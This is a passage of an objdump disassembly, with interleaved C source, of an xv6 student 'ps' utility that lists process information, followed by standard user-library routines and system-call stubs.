00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
25.778846
857
0.651996
1dd4189d34218bfbf18b2823dc117a8de63789a4
56,770
asm
Assembly
ps.asm
Tookerton21/Xv6_OS
ed9ab1648952b2f62e60db2ca8e6aa42e69bd340
[ "Xnet", "X11" ]
null
null
null
ps.asm
Tookerton21/Xv6_OS
ed9ab1648952b2f62e60db2ca8e6aa42e69bd340
[ "Xnet", "X11" ]
null
null
null
ps.asm
Tookerton21/Xv6_OS
ed9ab1648952b2f62e60db2ca8e6aa42e69bd340
[ "Xnet", "X11" ]
null
null
null
_ps: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "user.h" #include "uproc.h" //#include "syscall.h" #define SIZE 72 int main(int argc, char* argv[]){ 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: 83 ec 48 sub $0x48,%esp 14: 89 c8 mov %ecx,%eax //Variable dec struct uproc *uptr; int size_ar; //Test to see if there is a second arg if(argv[1] != 0) 16: 8b 50 04 mov 0x4(%eax),%edx 19: 83 c2 04 add $0x4,%edx 1c: 8b 12 mov (%edx),%edx 1e: 85 d2 test %edx,%edx 20: 74 19 je 3b <main+0x3b> size_ar = atoi(argv[1]);//Converting string into an int 22: 8b 40 04 mov 0x4(%eax),%eax 25: 83 c0 04 add $0x4,%eax 28: 8b 00 mov (%eax),%eax 2a: 83 ec 0c sub $0xc,%esp 2d: 50 push %eax 2e: e8 e5 03 00 00 call 418 <atoi> 33: 83 c4 10 add $0x10,%esp 36: 89 45 e4 mov %eax,-0x1c(%ebp) 39: eb 07 jmp 42 <main+0x42> else//Default to size 72 size_ar = SIZE; 3b: c7 45 e4 48 00 00 00 movl $0x48,-0x1c(%ebp) uptr = malloc(sizeof(struct uproc) * size_ar);//allocate memory off the heap 42: 8b 45 e4 mov -0x1c(%ebp),%eax 45: 6b c0 5c imul $0x5c,%eax,%eax 48: 83 ec 0c sub $0xc,%esp 4b: 50 push %eax 4c: e8 28 09 00 00 call 979 <malloc> 51: 83 c4 10 add $0x10,%esp 54: 89 45 d8 mov %eax,-0x28(%ebp) int size = getprocs(size_ar, uptr);//Get the amount of uproc tables 57: 83 ec 08 sub $0x8,%esp 5a: ff 75 d8 pushl -0x28(%ebp) 5d: ff 75 e4 pushl -0x1c(%ebp) 60: e8 62 05 00 00 call 5c7 <getprocs> 65: 83 c4 10 add $0x10,%esp 68: 89 45 d4 mov %eax,-0x2c(%ebp) //Test to ensure that number return from getprocs is valid if(size < 0){ 6b: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 6f: 79 17 jns 88 <main+0x88> printf(2, "getprocs failed\n"); 71: 83 ec 08 sub $0x8,%esp 74: 68 5c 0a 00 00 push $0xa5c 79: 6a 02 push $0x2 7b: e8 26 06 00 00 call 6a6 <printf> 80: 83 c4 10 add $0x10,%esp exit(); 83: e8 67 04 00 00 call 4ef <exit> } //Print out the label for the uproc table printf(2,"%s,\t %s,\t %s,\t %s,\t %s, %s,\t %s,\t %s,\t %s,\t \n","PID", 88: 83 ec 04 sub $0x4,%esp 8b: 68 6d 0a 00 00 push $0xa6d 90: 68 72 0a 00 00 push $0xa72 95: 68 77 0a 00 00 push $0xa77 9a: 68 7d 0a 00 00 push $0xa7d 9f: 68 81 0a 00 00 push $0xa81 a4: 68 89 0a 00 00 push $0xa89 a9: 68 8e 0a 00 00 push $0xa8e ae: 68 92 0a 00 00 push $0xa92 b3: 68 96 0a 00 00 push $0xa96 b8: 68 9c 0a 00 00 push $0xa9c bd: 6a 02 push $0x2 bf: e8 e2 05 00 00 call 6a6 <printf> c4: 83 c4 30 add $0x30,%esp "CPU", "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ c7: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) ce: e9 18 01 00 00 jmp 1eb <main+0x1eb> uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, uptr[i].CPU_total_ticks/100, uptr[i].CPU_total_ticks%100, uptr[i].state, uptr[i].size, uptr[i].name); d3: 8b 45 e0 mov -0x20(%ebp),%eax d6: 6b d0 5c imul $0x5c,%eax,%edx d9: 8b 45 d8 mov -0x28(%ebp),%eax dc: 01 d0 add %edx,%eax de: 83 c0 3c add $0x3c,%eax e1: 89 45 c4 mov %eax,-0x3c(%ebp) uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, uptr[i].CPU_total_ticks/100, uptr[i].CPU_total_ticks%100, uptr[i].state, uptr[i].size, e4: 8b 45 e0 mov -0x20(%ebp),%eax e7: 6b d0 5c imul $0x5c,%eax,%edx ea: 8b 45 d8 mov -0x28(%ebp),%eax ed: 01 d0 add %edx,%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, ef: 8b 78 38 mov 0x38(%eax),%edi f2: 89 7d c0 mov %edi,-0x40(%ebp) uptr[i].uid, uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, uptr[i].CPU_total_ticks/100, uptr[i].CPU_total_ticks%100, uptr[i].state, f5: 8b 45 e0 mov -0x20(%ebp),%eax f8: 6b d0 5c imul $0x5c,%eax,%edx fb: 8b 45 d8 mov -0x28(%ebp),%eax fe: 01 d0 add %edx,%eax 100: 8d 48 18 lea 0x18(%eax),%ecx 103: 89 4d bc mov %ecx,-0x44(%ebp) printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, uptr[i].uid, uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, uptr[i].CPU_total_ticks/100, uptr[i].CPU_total_ticks%100, 106: 8b 45 e0 mov -0x20(%ebp),%eax 109: 6b d0 5c imul $0x5c,%eax,%edx 10c: 8b 45 d8 mov -0x28(%ebp),%eax 10f: 01 d0 add %edx,%eax 111: 8b 48 14 mov 0x14(%eax),%ecx "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 114: ba 1f 85 eb 51 mov $0x51eb851f,%edx 119: 89 c8 mov %ecx,%eax 11b: f7 e2 mul %edx 11d: 89 d6 mov %edx,%esi 11f: c1 ee 05 shr $0x5,%esi 122: 6b c6 64 imul $0x64,%esi,%eax 125: 89 ce mov %ecx,%esi 127: 29 c6 sub %eax,%esi uptr[i].uid, uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, uptr[i].CPU_total_ticks/100, uptr[i].CPU_total_ticks%100, 129: 8b 45 e0 mov -0x20(%ebp),%eax 12c: 6b d0 5c imul $0x5c,%eax,%edx 12f: 8b 45 d8 mov -0x28(%ebp),%eax 132: 01 d0 add %edx,%eax 134: 8b 40 14 mov 0x14(%eax),%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 137: ba 1f 85 eb 51 mov $0x51eb851f,%edx 13c: f7 e2 mul %edx 13e: c1 ea 05 shr $0x5,%edx 141: 89 55 b8 mov %edx,-0x48(%ebp) uptr[i].uid, uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, 144: 8b 45 e0 mov -0x20(%ebp),%eax 147: 6b d0 5c imul $0x5c,%eax,%edx 14a: 8b 45 d8 mov -0x28(%ebp),%eax 14d: 01 d0 add %edx,%eax 14f: 8b 48 10 mov 0x10(%eax),%ecx "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 152: ba 1f 85 eb 51 mov $0x51eb851f,%edx 157: 89 c8 mov %ecx,%eax 159: f7 e2 mul %edx 15b: 89 d3 mov %edx,%ebx 15d: c1 eb 05 shr $0x5,%ebx 160: 6b c3 64 imul $0x64,%ebx,%eax 163: 89 cb mov %ecx,%ebx 165: 29 c3 sub %eax,%ebx uptr[i].uid, uptr[i].gid, uptr[i].ppid, uptr[i].elapsed_ticks/100, uptr[i].elapsed_ticks%100, 167: 8b 45 e0 mov -0x20(%ebp),%eax 16a: 6b d0 5c imul $0x5c,%eax,%edx 16d: 8b 45 d8 mov -0x28(%ebp),%eax 170: 01 d0 add %edx,%eax 172: 8b 40 10 mov 0x10(%eax),%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 175: ba 1f 85 eb 51 mov $0x51eb851f,%edx 17a: f7 e2 mul %edx 17c: 89 d0 mov %edx,%eax 17e: c1 e8 05 shr $0x5,%eax 181: 89 45 b4 mov %eax,-0x4c(%ebp) uptr[i].uid, uptr[i].gid, uptr[i].ppid, 184: 8b 45 e0 mov -0x20(%ebp),%eax 187: 6b d0 5c imul $0x5c,%eax,%edx 18a: 8b 45 d8 mov -0x28(%ebp),%eax 18d: 01 d0 add %edx,%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 18f: 8b 78 0c mov 0xc(%eax),%edi 192: 89 7d b0 mov %edi,-0x50(%ebp) uptr[i].uid, uptr[i].gid, 195: 8b 45 e0 mov -0x20(%ebp),%eax 198: 6b d0 5c imul $0x5c,%eax,%edx 19b: 8b 45 d8 mov -0x28(%ebp),%eax 19e: 01 d0 add %edx,%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 1a0: 8b 78 08 mov 0x8(%eax),%edi uptr[i].uid, 1a3: 8b 45 e0 mov -0x20(%ebp),%eax 1a6: 6b d0 5c imul $0x5c,%eax,%edx 1a9: 8b 45 d8 mov -0x28(%ebp),%eax 1ac: 01 d0 add %edx,%eax "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ printf(1, ":%d\t :%d\t :%d\t :%d\t :%d.%d\t :%d.%d\t :%s\t :%d\t :%s\t \n", uptr[i].pid, 1ae: 8b 48 04 mov 0x4(%eax),%ecx 1b1: 8b 45 e0 mov -0x20(%ebp),%eax 1b4: 6b d0 5c imul $0x5c,%eax,%edx 1b7: 8b 45 d8 mov -0x28(%ebp),%eax 1ba: 01 d0 add %edx,%eax 1bc: 8b 00 mov (%eax),%eax 1be: 83 ec 0c sub $0xc,%esp 1c1: ff 75 c4 pushl -0x3c(%ebp) 1c4: ff 75 c0 pushl -0x40(%ebp) 1c7: ff 75 bc pushl -0x44(%ebp) 1ca: 56 push %esi 1cb: ff 75 b8 pushl -0x48(%ebp) 1ce: 53 push %ebx 1cf: ff 75 b4 pushl -0x4c(%ebp) 1d2: ff 75 b0 pushl -0x50(%ebp) 1d5: 57 push %edi 1d6: 51 push %ecx 1d7: 50 push %eax 1d8: 68 cc 0a 00 00 push $0xacc 1dd: 6a 01 push $0x1 1df: e8 c2 04 00 00 call 6a6 <printf> 1e4: 83 c4 40 add $0x40,%esp "CPU", "State", "Size", "Name"); //Print out the Uproc table using size as the condition in the for loop. for(int i=0; i<size; ++i){ 1e7: 83 45 e0 01 addl $0x1,-0x20(%ebp) 1eb: 8b 45 e0 mov -0x20(%ebp),%eax 1ee: 3b 45 d4 cmp -0x2c(%ebp),%eax 1f1: 0f 8c dc fe ff ff jl d3 <main+0xd3> uptr[i].state, uptr[i].size, uptr[i].name); } //Deallocate the memory in the in each of the char ptrs for(int i=0; i<size; ++i){ 1f7: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 1fe: eb 38 jmp 238 <main+0x238> free(uptr[i].state); 200: 8b 45 dc mov -0x24(%ebp),%eax 203: 6b d0 5c imul $0x5c,%eax,%edx 206: 8b 45 d8 mov -0x28(%ebp),%eax 209: 01 d0 add %edx,%eax 20b: 83 c0 18 add $0x18,%eax 20e: 83 ec 0c sub $0xc,%esp 211: 50 push %eax 212: e8 20 06 00 00 call 837 <free> 217: 83 c4 10 add $0x10,%esp free(uptr[i].name); 21a: 8b 45 dc mov -0x24(%ebp),%eax 21d: 6b d0 5c imul $0x5c,%eax,%edx 220: 8b 45 d8 mov -0x28(%ebp),%eax 223: 01 d0 add %edx,%eax 225: 83 c0 3c add $0x3c,%eax 228: 83 ec 0c sub $0xc,%esp 22b: 50 push %eax 22c: e8 06 06 00 00 call 837 <free> 231: 83 c4 10 add $0x10,%esp uptr[i].state, uptr[i].size, uptr[i].name); } //Deallocate the memory in the in each of the char ptrs for(int i=0; i<size; ++i){ 234: 83 45 dc 01 addl $0x1,-0x24(%ebp) 238: 8b 45 dc mov -0x24(%ebp),%eax 23b: 3b 45 d4 cmp -0x2c(%ebp),%eax 23e: 7c c0 jl 200 <main+0x200> free(uptr[i].state); free(uptr[i].name); } //Deallocate the memory from array of uprocs free(uptr); 240: 83 ec 0c sub $0xc,%esp 243: ff 75 d8 pushl -0x28(%ebp) 246: e8 ec 05 00 00 call 837 <free> 24b: 83 c4 10 add $0x10,%esp exit(); 24e: e8 9c 02 00 00 call 4ef <exit> 00000253 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 253: 55 push %ebp 254: 89 e5 mov %esp,%ebp 256: 57 push %edi 257: 53 push %ebx asm volatile("cld; rep stosb" : 258: 8b 4d 08 mov 0x8(%ebp),%ecx 25b: 8b 55 10 mov 0x10(%ebp),%edx 25e: 8b 45 0c mov 0xc(%ebp),%eax 261: 89 cb mov %ecx,%ebx 263: 89 df mov %ebx,%edi 265: 89 d1 mov %edx,%ecx 267: fc cld 268: f3 aa rep stos %al,%es:(%edi) 26a: 89 ca mov %ecx,%edx 26c: 89 fb mov %edi,%ebx 26e: 89 5d 08 mov %ebx,0x8(%ebp) 271: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 274: 90 nop 275: 5b pop %ebx 276: 5f pop %edi 277: 5d pop %ebp 278: c3 ret 00000279 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 279: 55 push %ebp 27a: 89 e5 mov %esp,%ebp 27c: 83 ec 10 sub $0x10,%esp char *os; os = s; 27f: 8b 45 08 mov 0x8(%ebp),%eax 282: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 285: 90 nop 286: 8b 45 08 mov 0x8(%ebp),%eax 289: 8d 50 01 lea 0x1(%eax),%edx 28c: 89 55 08 mov %edx,0x8(%ebp) 28f: 8b 55 0c mov 0xc(%ebp),%edx 292: 8d 4a 01 lea 0x1(%edx),%ecx 295: 89 4d 0c mov %ecx,0xc(%ebp) 298: 0f b6 12 movzbl (%edx),%edx 29b: 88 10 mov %dl,(%eax) 29d: 0f b6 00 movzbl (%eax),%eax 2a0: 84 c0 test %al,%al 2a2: 75 e2 jne 286 <strcpy+0xd> ; return os; 2a4: 8b 45 fc mov -0x4(%ebp),%eax } 2a7: c9 leave 2a8: c3 ret 000002a9 <strcmp>: int strcmp(const char *p, const char *q) { 2a9: 55 push %ebp 2aa: 89 e5 mov %esp,%ebp while(*p && *p == *q) 2ac: eb 08 jmp 2b6 <strcmp+0xd> p++, q++; 2ae: 83 45 08 01 addl $0x1,0x8(%ebp) 2b2: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 2b6: 8b 45 08 mov 0x8(%ebp),%eax 2b9: 0f b6 00 movzbl (%eax),%eax 2bc: 84 c0 test %al,%al 2be: 74 10 je 2d0 <strcmp+0x27> 2c0: 8b 45 08 mov 0x8(%ebp),%eax 2c3: 0f b6 10 movzbl (%eax),%edx 2c6: 8b 45 0c mov 0xc(%ebp),%eax 2c9: 0f b6 00 movzbl (%eax),%eax 2cc: 38 c2 cmp %al,%dl 2ce: 74 de je 2ae <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 2d0: 8b 45 08 mov 0x8(%ebp),%eax 2d3: 0f b6 00 movzbl (%eax),%eax 2d6: 0f b6 d0 movzbl %al,%edx 2d9: 8b 45 0c mov 0xc(%ebp),%eax 2dc: 0f b6 00 movzbl (%eax),%eax 2df: 0f b6 c0 movzbl %al,%eax 2e2: 29 c2 sub %eax,%edx 2e4: 89 d0 mov %edx,%eax } 2e6: 5d pop %ebp 2e7: c3 ret 000002e8 <strlen>: uint strlen(char *s) { 2e8: 55 push %ebp 2e9: 89 e5 mov %esp,%ebp 2eb: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 2ee: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 2f5: eb 04 jmp 2fb <strlen+0x13> 2f7: 83 45 fc 01 addl $0x1,-0x4(%ebp) 2fb: 8b 55 fc mov -0x4(%ebp),%edx 2fe: 8b 45 08 mov 0x8(%ebp),%eax 301: 01 d0 add %edx,%eax 303: 0f b6 00 movzbl (%eax),%eax 306: 84 c0 test %al,%al 308: 75 ed jne 2f7 <strlen+0xf> ; return n; 30a: 8b 45 fc mov -0x4(%ebp),%eax } 30d: c9 leave 30e: c3 ret 0000030f <memset>: void* memset(void *dst, int c, uint n) { 30f: 55 push %ebp 310: 89 e5 mov %esp,%ebp stosb(dst, c, n); 312: 8b 45 10 mov 0x10(%ebp),%eax 315: 50 push %eax 316: ff 75 0c pushl 0xc(%ebp) 319: ff 75 08 pushl 0x8(%ebp) 31c: e8 32 ff ff ff call 253 <stosb> 321: 83 c4 0c add $0xc,%esp return dst; 324: 8b 45 08 mov 0x8(%ebp),%eax } 327: c9 leave 328: c3 ret 00000329 <strchr>: char* strchr(const char *s, char c) { 329: 55 push %ebp 32a: 89 e5 mov %esp,%ebp 32c: 83 ec 04 sub $0x4,%esp 32f: 8b 45 0c mov 0xc(%ebp),%eax 332: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 335: eb 14 jmp 34b <strchr+0x22> if(*s == c) 337: 8b 45 08 mov 0x8(%ebp),%eax 33a: 0f b6 00 movzbl (%eax),%eax 33d: 3a 45 fc cmp -0x4(%ebp),%al 340: 75 05 jne 347 <strchr+0x1e> return (char*)s; 342: 8b 45 08 mov 0x8(%ebp),%eax 345: eb 13 jmp 35a <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 347: 83 45 08 01 addl $0x1,0x8(%ebp) 34b: 8b 45 08 mov 0x8(%ebp),%eax 34e: 0f b6 00 movzbl (%eax),%eax 351: 84 c0 test %al,%al 353: 75 e2 jne 337 <strchr+0xe> if(*s == c) return (char*)s; return 0; 355: b8 00 00 00 00 mov $0x0,%eax } 35a: c9 leave 35b: c3 ret 0000035c <gets>: char* gets(char *buf, int max) { 35c: 55 push %ebp 35d: 89 e5 mov %esp,%ebp 35f: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 362: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 369: eb 42 jmp 3ad <gets+0x51> cc = read(0, &c, 1); 36b: 83 ec 04 sub $0x4,%esp 36e: 6a 01 push $0x1 370: 8d 45 ef lea -0x11(%ebp),%eax 373: 50 push %eax 374: 6a 00 push $0x0 376: e8 8c 01 00 00 call 507 <read> 37b: 83 c4 10 add $0x10,%esp 37e: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 381: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 385: 7e 33 jle 3ba <gets+0x5e> break; buf[i++] = c; 387: 8b 45 f4 mov -0xc(%ebp),%eax 38a: 8d 50 01 lea 0x1(%eax),%edx 38d: 89 55 f4 mov %edx,-0xc(%ebp) 390: 89 c2 mov %eax,%edx 392: 8b 45 08 mov 0x8(%ebp),%eax 395: 01 c2 add %eax,%edx 397: 0f b6 45 ef movzbl -0x11(%ebp),%eax 39b: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 39d: 0f b6 45 ef movzbl -0x11(%ebp),%eax 3a1: 3c 0a cmp $0xa,%al 3a3: 74 16 je 3bb <gets+0x5f> 3a5: 0f b6 45 ef movzbl -0x11(%ebp),%eax 3a9: 3c 0d cmp $0xd,%al 3ab: 74 0e je 3bb <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 3ad: 8b 45 f4 mov -0xc(%ebp),%eax 3b0: 83 c0 01 add $0x1,%eax 3b3: 3b 45 0c cmp 0xc(%ebp),%eax 3b6: 7c b3 jl 36b <gets+0xf> 3b8: eb 01 jmp 3bb <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 3ba: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 3bb: 8b 55 f4 mov -0xc(%ebp),%edx 3be: 8b 45 08 mov 0x8(%ebp),%eax 3c1: 01 d0 add %edx,%eax 3c3: c6 00 00 movb $0x0,(%eax) return buf; 3c6: 8b 45 08 mov 0x8(%ebp),%eax } 3c9: c9 leave 3ca: c3 ret 000003cb <stat>: int stat(char *n, struct stat *st) { 3cb: 55 push %ebp 3cc: 89 e5 mov %esp,%ebp 3ce: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 3d1: 83 ec 08 sub $0x8,%esp 3d4: 6a 00 push $0x0 3d6: ff 75 08 pushl 0x8(%ebp) 3d9: e8 51 01 00 00 call 52f <open> 3de: 83 c4 10 add $0x10,%esp 3e1: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 3e4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 3e8: 79 07 jns 3f1 <stat+0x26> return -1; 3ea: b8 ff ff ff ff mov $0xffffffff,%eax 3ef: eb 25 jmp 416 <stat+0x4b> r = fstat(fd, st); 3f1: 83 ec 08 sub $0x8,%esp 3f4: ff 75 0c pushl 0xc(%ebp) 3f7: ff 75 f4 pushl -0xc(%ebp) 3fa: e8 48 01 00 00 call 547 <fstat> 3ff: 83 c4 10 add $0x10,%esp 402: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 405: 83 ec 0c sub $0xc,%esp 408: ff 75 f4 pushl -0xc(%ebp) 40b: e8 07 01 00 00 call 517 <close> 410: 83 c4 10 add $0x10,%esp return r; 413: 8b 45 f0 mov -0x10(%ebp),%eax } 416: c9 leave 417: c3 ret 00000418 <atoi>: // new atoi added 4/22/17 to be able to handle negative numbers int atoi(const char *s) { 418: 55 push %ebp 419: 89 e5 mov %esp,%ebp 41b: 83 ec 10 sub $0x10,%esp int n, sign; n=0; 41e: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while(*s==' ')s++;//Remove leading spaces 425: eb 04 jmp 42b <atoi+0x13> 427: 83 45 08 01 addl $0x1,0x8(%ebp) 42b: 8b 45 08 mov 0x8(%ebp),%eax 42e: 0f b6 00 movzbl (%eax),%eax 431: 3c 20 cmp $0x20,%al 433: 74 f2 je 427 <atoi+0xf> sign =(*s=='-')?-1 : 1; 435: 8b 45 08 mov 0x8(%ebp),%eax 438: 0f b6 00 movzbl (%eax),%eax 43b: 3c 2d cmp $0x2d,%al 43d: 75 07 jne 446 <atoi+0x2e> 43f: b8 ff ff ff ff mov $0xffffffff,%eax 444: eb 05 jmp 44b <atoi+0x33> 446: b8 01 00 00 00 mov $0x1,%eax 44b: 89 45 f8 mov %eax,-0x8(%ebp) if(*s=='+' || *s=='-') 44e: 8b 45 08 mov 0x8(%ebp),%eax 451: 0f b6 00 movzbl (%eax),%eax 454: 3c 2b cmp $0x2b,%al 456: 74 0a je 462 <atoi+0x4a> 458: 8b 45 08 mov 0x8(%ebp),%eax 45b: 0f b6 00 movzbl (%eax),%eax 45e: 3c 2d cmp $0x2d,%al 460: 75 2b jne 48d <atoi+0x75> s++; 462: 83 45 08 01 addl $0x1,0x8(%ebp) while('0' <= *s&&*s<='9') 466: eb 25 jmp 48d <atoi+0x75> n = n*10 + *s++ - '0'; 468: 8b 55 fc mov -0x4(%ebp),%edx 46b: 89 d0 mov %edx,%eax 46d: c1 e0 02 shl $0x2,%eax 470: 01 d0 add %edx,%eax 472: 01 c0 add %eax,%eax 474: 89 c1 mov %eax,%ecx 476: 8b 45 08 mov 0x8(%ebp),%eax 479: 8d 50 01 lea 0x1(%eax),%edx 47c: 89 55 08 mov %edx,0x8(%ebp) 47f: 0f b6 00 movzbl (%eax),%eax 482: 0f be c0 movsbl %al,%eax 485: 01 c8 add %ecx,%eax 487: 83 e8 30 sub $0x30,%eax 48a: 89 45 fc mov %eax,-0x4(%ebp) n=0; while(*s==' ')s++;//Remove leading spaces sign =(*s=='-')?-1 : 1; if(*s=='+' || *s=='-') s++; while('0' <= *s&&*s<='9') 48d: 8b 45 08 mov 0x8(%ebp),%eax 490: 0f b6 00 movzbl (%eax),%eax 493: 3c 2f cmp $0x2f,%al 495: 7e 0a jle 4a1 <atoi+0x89> 497: 8b 45 08 mov 0x8(%ebp),%eax 49a: 0f b6 00 movzbl (%eax),%eax 49d: 3c 39 cmp $0x39,%al 49f: 7e c7 jle 468 <atoi+0x50> n = n*10 + *s++ - '0'; return sign*n; 4a1: 8b 45 f8 mov -0x8(%ebp),%eax 4a4: 0f af 45 fc imul -0x4(%ebp),%eax } 4a8: c9 leave 4a9: c3 ret 000004aa <memmove>: return n; } */ void* memmove(void *vdst, void *vsrc, int n) { 4aa: 55 push %ebp 4ab: 89 e5 mov %esp,%ebp 4ad: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 4b0: 8b 45 08 mov 0x8(%ebp),%eax 4b3: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 4b6: 8b 45 0c mov 0xc(%ebp),%eax 4b9: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 4bc: eb 17 jmp 4d5 <memmove+0x2b> *dst++ = *src++; 4be: 8b 45 fc mov -0x4(%ebp),%eax 4c1: 8d 50 01 lea 0x1(%eax),%edx 4c4: 89 55 fc mov %edx,-0x4(%ebp) 4c7: 8b 55 f8 mov -0x8(%ebp),%edx 4ca: 8d 4a 01 lea 0x1(%edx),%ecx 4cd: 89 4d f8 mov %ecx,-0x8(%ebp) 4d0: 0f b6 12 movzbl (%edx),%edx 4d3: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 4d5: 8b 45 10 mov 0x10(%ebp),%eax 4d8: 8d 50 ff lea -0x1(%eax),%edx 4db: 89 55 10 mov %edx,0x10(%ebp) 4de: 85 c0 test %eax,%eax 4e0: 7f dc jg 4be <memmove+0x14> *dst++ = *src++; return vdst; 4e2: 8b 45 08 mov 0x8(%ebp),%eax } 4e5: c9 leave 4e6: c3 ret 000004e7 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 4e7: b8 01 00 00 00 mov $0x1,%eax 4ec: cd 40 int $0x40 4ee: c3 ret 000004ef <exit>: SYSCALL(exit) 4ef: b8 02 00 00 00 mov $0x2,%eax 4f4: cd 40 int $0x40 4f6: c3 ret 000004f7 <wait>: SYSCALL(wait) 4f7: b8 03 00 00 00 mov $0x3,%eax 4fc: cd 40 int $0x40 4fe: c3 ret 000004ff <pipe>: SYSCALL(pipe) 4ff: b8 04 00 00 00 mov $0x4,%eax 504: cd 40 int $0x40 506: c3 ret 00000507 <read>: SYSCALL(read) 507: b8 05 00 00 00 mov $0x5,%eax 50c: cd 40 int $0x40 50e: c3 ret 0000050f <write>: SYSCALL(write) 50f: b8 10 00 00 00 mov $0x10,%eax 514: cd 40 int $0x40 516: c3 ret 00000517 <close>: SYSCALL(close) 517: b8 15 00 00 00 mov $0x15,%eax 51c: cd 40 int $0x40 51e: c3 ret 0000051f <kill>: SYSCALL(kill) 